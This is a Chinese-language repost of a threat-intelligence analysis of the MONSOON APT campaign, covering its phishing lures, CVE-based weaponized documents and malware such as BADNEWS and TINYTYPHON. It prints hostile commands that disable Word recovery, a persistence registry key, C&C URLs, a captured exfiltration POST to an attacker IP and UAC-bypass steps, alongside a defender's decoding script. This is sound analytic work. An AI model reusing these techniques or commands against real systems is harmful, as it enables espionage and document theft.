频道栏目
首页 > 安全 > 网络安全 > 正文

MONSOON APT:印度针对中国和其它周边国家发起的APT攻击

2016-08-15 09:30:28           
收藏   我要投稿
SSSSSSSSS.png

 

一、 概述

MONSOON APT的攻击演变:根据Forcepoint研究人员收集的证据显示, MONSOON组织已存在六年之久,其某些攻击组件与2013年被Blue Coat发现的Operation Hangover相同。还可能与最近被Cymmetria发现的Patchwork和Kaspersky发现的Dropping Elephant,以及国内安天团队发现的“白象的舞步”相关。本报告对MONSOON APT进行了深入的研究调查,囊括了之前未被发现的恶意软件、受害者和攻击架构。

MONSOON APT的攻击目标:主要针对中国不同行业和南亚区域国家政府部门。MONSOON从2015年12月开始发起攻击,截至2016年7月攻击活动仍处于持续状态。 MONSOON通过向特定目标发送含有恶意附件的鱼叉式邮件进行渗透攻击,这些邮件主题内容多为政治和时事话题。

MONSOON APT使用的复杂恶意软件:MONSOON使用了多个恶意软件,包括 Unknown Logger Public键盘记录器、TINYTYPHON、BADNEWS 和AutoIt Backdoor。其中,BADNEWS利用RSS订阅、GitHub、论坛、博客和动态DNS主机向远程C&C服务器进行通信,比较独特,因此我们把其命名为BADNEWS。(此BADNEWS非感染Andriod平台的BADNEWS)

谁是MONSOON APT的幕后攻击者?基于对MONSOON的调查分析结合各项威胁指标,我们认为MONSOON和Operation Hangover存在高度相似,可能为来自于印度的APT攻击。 (Operation Hangover 经调查分析被认为是由印度发起的 APT攻击 )

二 、技术分析 1 初始调查动机

VirusTotal线索:VirusTotal(VT)智能分析功能经常被用来对新型可疑文件进行查询对比,MONSOON的调查就起源于我们在VirusTotal上的查询结果,其中被识别的一个RTF文档让我们更加坚定了继续调查的决心。

CyberCrime Bill/BADNEWS线索:一个特殊文档:“Cyber_Crime_bill.doc” 或“TelecommunicationsPolicy – APPROVED.DOCX”,VirusTotal的分析结果:低检测率,低提交数,包括阿拉伯语、英语和中文语言,利用了已知的CVE-2015-1641漏洞。该文档以政治主题为文件名,释放的未知恶意软件通过博客和RSS等方式与远程C&C服务器进行通信,并被我们的调查人员命名为BADNEWS。

文档作者线索:通过对原始RTF恶意文档进行信息挖掘,发现了最后修改文档的作者信息:

 

图1.jpg

 

使用VT搜索,以下6个匹配文档的作者信息被发现:

 

PIC2.jpg

 

这些文档的VT检测结果、文件大小和相同的漏洞利用代码让我们更加肯定为同一攻击者所为。 VT对以上文档的检测结果中还包含了样本文件名,其中一个为“china_report_EN_web_2016_A01.doc” ,其真实文档为日本防卫研究所对中国国防政策的研究报告。

 

PIC3.png

 

VT的检测结果还显示其中一个恶意文档的提交IP为37.58.60.195,该IP提交过多个恶意软件,另一个VT检测结果显示了其恶意文档的分析结果。

 

PIC4.png

 

传播机制:另外,攻击者通过比利时Your Mailing List Provider (YMLP)公司提供的在线文档储存服务t.ymlp50.com进行文件中转,同时利用YMLP公司的邮件服务发送鱼叉式钓鱼邮件。

2 钓鱼邮件诱饵文档

为了吸引收件人注意,钓鱼邮件的主题通常是与中国时事政治相关的主题,以下为其中一例:

 

PIC5.png

 

就像以上的邮件样例,攻击通过YMLP的邮件服务伪造发件者,并嵌入恶意文档下载链接。以下为一些钓鱼邮件样例的相关信息:

 

PIC6.png

 

3 时事新闻诱饵

新闻网站:攻击者通过建立运行虚假政治新闻网站chinastrat.com,利用网站下载功能提供恶意文档传播途径,同时,通过大量邮件链接传播,吸引用户注册并获取相关密码账户信息。

 

PIC7.png

 

GooglePlus:攻击者自2014年12月以来一直在操作运行一个Google Plus账户,该帐户是用来发布虚假新闻网站chinastrat.com的相关链接。

 

PIC8.png

 

FACEBOOK:攻击者操作运行着一个FACEBOOK帐户,这个帐户也被用来发布虚假新闻网站chinastrat.com相关的链接。

 

PIC9.png

 

TWITTER:自2014年12月起,攻击者操作运行着一个twitter帐户,其功能与Facebook和Google Plus一样。

 

PIC10.png

 

二、 恶意软件分析

1 “武器化”文档

漏洞利用:MONSOON攻击的恶意软件组合了几种文档型漏洞,攻击者利用了某种恶意文档生成器批量生成了这些貌似常规的“武器化”文档。以下是几个被利用的漏洞:

 

PIC11.jpg

 

“BADNEWS武器化”文档:BADNEWS恶意软件被攻击者以一个加密二进制大对象文件BLOB(binary large object) 捆绑在一个诱饵文档中。漏洞CVE-2015-1641被用来释放和植入BADNEWS恶意软件,一旦漏洞利用代码被触发,其shellcode将把二进制大对象以一个加密的VBScript释放到用户的%temp%目录:

 

PIC12.jpg

 

这个加密的VBScript以.domx或.lgx格式结尾,最终,shellcode通过执行这个VBScript ,从二进制大对象blob中提取并执行加密诱饵文档,达到植入恶意软件目的。后文将介绍BADNEWS更多详细功能。以下为 VBScript 从二进制BLOB中提取诱饵文档的编码:

 

PIC13.jpg

 

AutoIt 后门 &Unknown Logger武器化文档:大多数“武器化”文档都会释放并植入AutoIt 后门文件,以下是利用CVE-2014-6352漏洞植入AutoIt 后门的INF文件信息:

 

XXX.jpg

 

AutoIt后门木马通过不同的伪装程序运行:

 

ccccc.jpg

 

“武器化”文档同时也会释放一个Unknown Logger记录器(后文将作分析)。

TINYTYPHON(TYPHON: 信号器,喇叭): MONSOON 攻击中的第三种恶意软件是基于MyDoom类蠕虫的小型后门程序,该后门程序通过抓取本地和映射磁盘文档并上传至远程C&C服务器。在我们的分析中,利用了CVE-2012-0158 的样本文件“DPP_INDIA_2016.doc”曾释放过该后门程序。 样本文档中包含的shellcode在\%temp%\目录下释放svchost.exe程序,并尝试通过命令关闭 WORD恢复功能:

cmd.exe/c reg delete “HKCU\Software\Microsoft\Office\14.0\Word\Resiliency”/F

cmd.exe /c reg delete”HKCU\Software\Microsoft\Office\12.0\Word\Resiliency”/F

文档释放的svchost.exe程序用来执行一个base64加密的内置恶意组件“TINYTYPHON”(后文将作分析)。

2 潜在的SILVERLIGHT组件漏洞

提供“武器化”文档的站点cnmilit.com和newsnstat.com,会把用户重定向到文件lite.php,通过lite.php获取恶意文档。以下是lite.php的访问示例:

 

PIC14.jpg

 

Silverlight识别:据分析,攻击者可能通过请求lite.php?name= true or false识别目标系统是否安装有Silverlight软件,然后利用Silverlight漏洞执行下一步渗透。以下为Silverlight识别代码:

 

PIC15.jpg

 

3 恶意软件BADNEWS

BADNEWS能够执行任意命令,截图,自我更新,下载并执行文件以及列目录操作。BADNEWS 利用DLL旁加载(dll side-loading)以实现免杀,如果目标有价值,将会进行第二阶段恶意软件的部署渗透。

DLL Side-Loading:BADNEWS的DLL组件通常被旁加载注入到一个合法签名java程序中。通过对一个样本文档的分析发现,样本文档释放一个二进制大对象和一个加密VBScript脚本,在VBScript脚本提取诱饵文档的同时,生成以下三个文件:

microscmgmt.exe、 MSVCR71.dll、 jli.dll

其中MicroScMgmt.exe就是旁加载注入合法进程javarmi.exe之后的恶意程序,它通过调用合法的MSVCR71.dll和恶意jli.dll达到执行恶意软件目的。MicroScMgmt.exe一旦执行,它将加载jli.dll,最终调用DLL组件中的jli_wildcardexpandclasspath_0出口,此时,BADNEWS将执行自身恶意程序。 这种恶意软件的旁加载是一种隐形和免杀技术,该恶意软件将产生两个线程,一个执行键记录,另一个获取本地和映射硬盘驱动器文档。

持久驻留:BADNEWS通过在注册表中生成以下注册表项达到在受害者系统的持久驻留:

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

C&C通信 :BADNEWS 中包含有获取远程C&C服务器指令的固定通信代码和方式,这些方式包括RSS订阅、GitHub ,论坛、博客和动态 DNS主机。在我们的分析样本中,发现了其中一些残存和停用的通信方式:

 

PIC16.jpg

 

C&C通信 :BADNEWS 中包含有获取远程C&C服务器指令的固定通信代码和方式,这些方式包括RSS订阅、GitHub ,论坛、博客和动态 DNS主机。在我们的分析样本中,发现了其中一些残存和停用的通信方式:

hxxp://feeds.rapidfeeds.com/81913/

hxxps://raw.githubusercontent.com/azeemkhan89/cartoon/master/cart.xml

hxxp://www.webrss.com/createfeed.phpfeedid=47448

hxxp://www.webrss.com/createfeed.phpfeedid=47449

hxxp://www.chinasmack.com/2016/digest/chinese-tourist-bit-by-snake-in-thailand.html

hxxp://www.travelhoneymoon.wordpress.com/2016/03/30/tips-to-how-to-feel-happy

hxxp://overthemontains.weebly.com/trekking-lovers

hxxp://tariqj.crabdance.com/tesla/ghsnls.php

hxxp://javedtar.chickenkiller.com/tesla/ghsnls.php

hxxp://asatar.ignorelist.com/tesla/ghsnls.php

前7个C&C通信方式都是“blog”或“feed”方式,最后3个动态DNS主机方式为前7个信道的备份 通信方式,其中请求的文件名“ghsnls.php”似乎都是相同的,但上一级目录名根据不同的攻击活动和恶意软件,经常发生变化,如:

tesla、Tussmal、Mussma、quantum、yumhong

恶意软件会从Blog或Feed方式网页中搜索并提取“ {{”内的字段以 获取C&C信息。以下为一个Github 样例:

 

PIC17.jpg

 

另一个例子是来自网站chinasmack.com中名为“Zubaid12″的用户评论:

 

PIC18.jpg

 

以及来自论坛forum.china.org.cn的评论:

 

PIC19.jpg

 

“{{”之后的内容是以相同方式加密的C&C地址信息,但现在论坛上这篇文章已经看不见了,因为作者已经把它设置为白色文本背景。

C&C运行机制:BADNEWS与C&C服务器之间建立连接之后,将会向C&C服务器发送受害者系统相关信息,同时为受害者系统在%temp%目录生成一个带有独特编号的文件: “%temp%\T89.dat “

POST http://85.25.79.230/tesla/ghsnls.php HTTP/1.1 Accept: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded User-Agent:UserAgent: Mozilla/5.0(Windows NT 6.1;WOW64)AppleWebKit/537.1(KHTML,like Gecko)Chrome/21.0.1180.75Safari/537.1 Host: 85.25.79.230 Content-Length: 249 Cache-Control: no-cache esmqss=**redacted**&btcbumegy=**redacted**&pxckhj=**redacted**&xyvqq=**redacted**

C&C服务器的所有通信数据都是通过把每字节循环右移3bit,然后以0×23进行异或操作,之后再以16进制内容进行Base64加密。以下是对数据进行解密的一个Python脚本:badnews_decoder.py

importsys, getopt importbase64 # Rotate left: 0b1001 -->0b0011 rol = lambda val, r_bits, max_bits:\

(val << r_bits%max_bits) &(2**max_bits-1) | \

((val & (2**max_bits-1)) >>(max_bits-(r_bits%max_bits)))

# Rotate right: 0b1001 -->0b1100 ror = lambda val, r_bits, max_bits:\

((val & (2**max_bits-1)) >>r_bits%max_bits) | \

(val <<(max_bits-(r_bits%max_bits)) &(2**max_bits-1))

if len(sys.argv) !=2:

exit("Usage: badnews_decoder.py")

data= sys.argv[1]

# Print original data input print"[1] Original: " +data data= base64.b64decode(data) # Print the base64 decoded hex bytestring print "[2]Base64dec: " +data # Decode the hex bytes into to binarydata data =data.decode("hex")

decdata= '' # XOReach byte by 0x23 and rotate left by 3bits for x inrange(len(data)):

c =ord(data[x]) c ^=0x23

c =rol(c, 3, 8) decdata +=chr(c)

# Null terminate decdata +='\x00' # Print the final decrypted data print"[3] Decrypted: " +decdata

该解密脚本的运行实例:

>badnews_decoder.py MmVhZGFkMmQ2NGM2YzY4NWU2NjU4NWE1ZTYwNDI0ZTZlNTI0YzY4ZWFkNmMyZGVlNGZjZGM2Y2YwZmFkOGZlNjJkMmUyZDIz== [1]Original:MmVhZGFkMmQ2NGM2YzY4NWU2NjU4NWE1ZTYwNDI0ZTZlNTI0YzY4ZWFkNmMyZGVlNGZjZGM2Y2YwZmFkOGZlNjJkMmUyZDIz== [2]Base64 dec:2eadad2d64c6c685e66585a5e60424e6e524c68ead6c2dee4fcdc6cf0fad8fe62d2e2d23 [3]Decrypted: http://5.254.98.68/mtzpncw/gate.php

命令集:BADNEWS向C&C建立连接之后,将会收到C&C服务器的指令,这些指令大多以“:”为格式,以下为C&C命令样例:

 

PIC20.jpg

 

键盘记录功能:BADNEWS 运行之后会产生一个键盘记录进程并把内容存储到一个文件中,这个存储文件的头文件中包含标识“KLTNM:”和系统语言信息,其余为活动窗口和键盘记录内容:

KLTNM: 崐??00000409 2016/06/0109:42:18 - {Window Name} [SHIFT]c[SHIFT];

当接收到C&C的“kl”指令之后,键盘记录的储文件就会被发送到C&C服务器中。

文件抓取功能:BADNEWS 运行之后会产生一个检测本地或映射磁盘驱动器文档的进程,该进程主要搜寻以下格式文档:

doc、docx、pdf、ppt、pptx、txt

任何小于15MB的文档将会被拷贝到受害者系统的%temp%\SMB\目录,然后等待”ustr”命令回传至C&C服务器。

Windows窗口消息进程:BADNEWS 还会创建以下进程监测Windows窗口消息WM_DEVICECHANGE,以检查受害者系统是否插入有USB 驱动器((WM_DEVICECHANGE,当设备的硬件配置改变时,发送本消息给应用程序或设备驱动程序) 。

 

PIC21.jpg

 

更新脚本:C&C服务器将会发送“upd”指令下载新的恶意软件up.exe,并存放于目录文件%temp中,之后通过以下脚本更新恶意软件(jli.dll):

 

PIC22.jpg

 

4 AUTOIT后门

MONSOON攻击中大多数利用CVE-2014-6352的”武器化“PPS文档都会释放一个Autoit后门文件,这个后门文件包含了一系列功能:

发送系统信息

执行任意命令

自我更新

提权(绕过UAC)

筛选硬盘中的文档

执行后续PowerShell-based恶意软件

执行第二阶段“定制”的恶意软件

窃取Chrome中保存的密码

识别目标系统是否安装有360国际版杀软件360 Total Security

反编译 AutoIt :我们的特别调查团队对 AutoIt程序进行了完整的反编译分析工作。

文档收集:AutoIt后门程序搜寻以下扩展名文档:

*.doc;*.pdf;*.csv;*.ppt;*.docx;*.pst;*.xls;*.xlsx;*.pptx;*.jpeg

之后向C&C发送/update-request.php请求,回传文档。

 

PIC23.jpg

 

提权操作:AutoIt 后门程序通过绕过UAC实现提权。如果目标为64位操作系统,后门程序将利用系统更新程序WUSA向目录C:\Windows\System32\oobe释放wdscore.dll,之后通过wdscore.dll对oobe.exe程序进行旁加载注入;如果目标为32位操作系统,后门程序将利用CallWindowProcW API接口向svchost.exe注入shellcode,在这个过程中,首先,正常的“Computer Management.lnk”文件被重写定位到恶意软件,之后,恶意软件被执行后将在svchost.exe下创建CompMgmtLauncher.exe提权进程。

PowerShell后续植入 &Metasploit Meterpreter: AutoIt 后门将会通过dropper.php文件向C&C服务器发送和接收心跳指令。在分析中,我们观察到,远程C&C服务器 212.129.13.110发送了响应心跳请求的Base64加密回应信息。这些回应信息中包含了命令标识和参数。

 

PIC24.jpg

 

PowerShell脚本经过伪装后,最终被用来加载shellcode:

 

PIC25.jpg

 

shellcode将动态解析API并从链接hxxps://45.43.192.172:8443/OxGN下载恶意软件组件。以下为后门程序反编译中IP45.43.192.172的信息:

 

PIC26.jpg

 

payload有效载荷包括shellcode和其它加密数据,由于被XOR异或加密,所以每次请求被加载的shellcode都不相同:

 

PIC27.jpg

 

其它加密数据被解密之后,发现是一个头文件被代码混淆的PE文件:

 

PIC28.jpg

 

5 UNKNOWN LOGGER PUBLIC V 1.5

UNKNOWN LOGGER是一个公开版本的键盘记录器,功能包含浏览器信息窃取、键盘记录、截屏、自身感染传播以及文件下载。在MONSOON攻击中,一些利用了CVE-2014-6352的“武器化“文档通常会释放UNKNOWN LOGGER程序。

 

PIC29.jpg

 

6 TINYTYPHON

TINYTYPHON是一个小型后门程序,用来搜集上传本地磁盘文档以及接收后续恶意软件。TINYTYPHON的大部分代码是基于MyDoom.worm蠕虫程序的改装。

配置和驻留:TINYTYPHON程序末附加了一些配置信息,在对样本分析中发现,这些配置信息被以16进制值0×90进行异或加密:

 

PIC30.jpg

 

文件爬虫:TINYTYPHON持续搜索并上传本地磁盘文件,它首先搜索操作系统所在磁盘文件,之后,从字母C到Z按磁盘排列顺序搜索文档。

 

PIC31.jpg

 

一旦所搜索的文档匹配目标后缀格式,文档将被上传至远程C&C服务器:

 

PIC32.jpg

 

受害者:通过对样本文件的分析发现,其远程C&C服务器中包含了名为/http的文档存储目录:

 

PIC33.jpg

 

其中,在/upload二级目录下包含了不同受害主机被窃取的文件目录,每一个文件目录中包含了大量受害主机文档

 

PIC34.jpg

 

这些文档的文件名被以 “MD5值-破折号-文档原名” 方式存储在攻击者的C&C服务器中。据初步估计,仅这个C&C服务器中就有上千份被窃取的文档,大部分为政府机构文档,还有一些高度涉秘文档,如海关清关文档、金融数据、技术说明文档等。

在我们的调查中,这个C&C服务器由于不明原因,突然在2016年6月8日停止响应,之后又于7月5日重新上线。据我们分析,可能是攻击者已经觉察到我们的调查活动。

三、属性

1 受害者

MONSOON攻击的受害者主要来自南亚次大陆地区,大多分布于孟加拉国、 斯里兰卡、 巴基斯坦,也有更远的非洲和远东国家,另外,还包括中国。 攻击者窃取的文档,涉及以下行业:

军队训练、人事和工资单记录 国防武官和领事 国防研究 国外高级职员 军事演习 空军平台 海军平台 军事物流记录 海军海岸保护 反鱼雷和海军电子对策(电子对抗)系统 潜艇通信系统 核安全和反扩散 联合国 个人详细资料:包括医疗记录、驾照、护照和签证等 会计记录 旅游行程细节

2 攻击者

通过域名注册信息就可以查找到攻击者身份,在MONSOON攻击中有以下相关证据:

所注册的域名多是一个或多个流行域名的变形

域名注册者在印度或曾经在印度生活或工作过

结合编程挑战和自由程序员网站信息可以获得某些相关域名注册者信息

从以上资料,可以找到注册者的 Facebook 和 LinkedIn账号信息。此报告中将不会对这些具体信息作出描述,待时机成熟,我们将会告知相关当局机构。

3 攻击架构

通过整合调查结果发现,MONSOON使用的攻击基础架构可能与 HANGOVER有很强的关联性,HANGOVER最初攻击架构中的DNS SOA记录(起始授权机构记录)与MONSOON攻击中的DNS相同,如下图所示:

 

PIC35.jpg

 

Monsoon与Operation Hangover之间存在部分交集。

上一篇:RIG exploit kit:恶意活动分析报告
下一篇:社工库数据格式化之Kettle Spoon
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站